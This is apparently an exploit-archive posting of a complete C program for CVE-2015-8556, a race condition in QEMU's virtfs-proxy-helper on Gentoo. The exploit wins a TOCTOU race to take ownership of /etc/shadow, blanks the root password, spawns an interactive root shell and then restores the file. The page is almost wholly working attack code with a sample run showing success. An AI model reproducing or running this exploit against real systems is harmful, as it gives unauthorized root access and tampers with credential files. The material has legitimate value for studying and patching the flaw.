what you don't know can hurt you

Gentoo QEMU Local Privilege Escalation

Gentoo QEMU Local Privilege Escalation
Posted Dec 17, 2015
Authored by zx2c4

Some distributions make virtfs-proxy-helper from QEMU either SUID or give it CAP_CHOWN fs capabilities. This is a terrible idea. While virtfs-proxy-helper makes some sort of flimsy check to make sure its socket path doesn't already exist, it is vulnerable to TOCTOU. This exploit should spawn a root shell, eventually, on vulnerable systems.

tags | exploit, shell, root
advisories | CVE-2015-8556
MD5 | e37a54d0b5f93a8c1e4770a98e1e8cb2

Gentoo QEMU Local Privilege Escalation

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/* == virtfshell ==
*
* Some distributions make virtfs-proxy-helper from QEMU either SUID or
* give it CAP_CHOWN fs capabilities. This is a terrible idea. While
* virtfs-proxy-helper makes some sort of flimsy check to make sure
* its socket path doesn't already exist, it is vulnerable to TOCTOU.
*
* This should spawn a root shell eventually on vulnerable systems.
*
* - zx2c4
* 2015-12-12
*
*
* zx2c4@thinkpad ~ $ lsb_release -i
* Distributor ID: Gentoo
* zx2c4@thinkpad ~ $ ./virtfshell
* == Virtfshell - by zx2c4 ==
* [+] Trying to win race, attempt 749
* [+] Chown'd /etc/shadow, elevating to root
* [+] Cleaning up
* [+] Spawning root shell
* thinkpad zx2c4 # whoami
* root
*
*/

#include <stdio.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>


static int it_worked(void)
{
struct stat sbuf = { 0 };
stat("/etc/shadow", &sbuf);
return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
int fd;
pid_t pid;
char uid[12], gid[12];
size_t attempts = 0;

sprintf(uid, "%d", getuid());
sprintf(gid, "%d", getgid());

printf("== Virtfshell - by zx2c4 ==\n");

printf("[+] Beginning race loop\n");

while (!it_worked()) {
printf("\033[1A\033[2K[+] Trying to win race, attempt %zu\n", ++attempts);
fd = inotify_init();
unlink("/tmp/virtfshell/sock");
mkdir("/tmp/virtfshell", 0777);
inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
pid = fork();
if (pid == -1)
continue;
if (!pid) {
close(0);
close(1);
close(2);
execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
_exit(1);
}
read(fd, 0, 0);
unlink("/tmp/virtfshell/sock");
symlink("/etc/shadow", "/tmp/virtfshell/sock");
close(fd);
kill(pid, SIGKILL);
wait(NULL);
}

printf("[+] Chown'd /etc/shadow, elevating to root\n");

system( "cp /etc/shadow /tmp/original_shadow;"
"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
"cat /tmp/modified_shadow > /etc/shadow;"
"su -c '"
" echo [+] Cleaning up;"
" cat /tmp/original_shadow > /etc/shadow;"
" chown root:root /etc/shadow;"
" rm /tmp/modified_shadow /tmp/original_shadow;"
" echo [+] Spawning root shell;"
" exec /bin/bash -i"
"'");
return 0;
}

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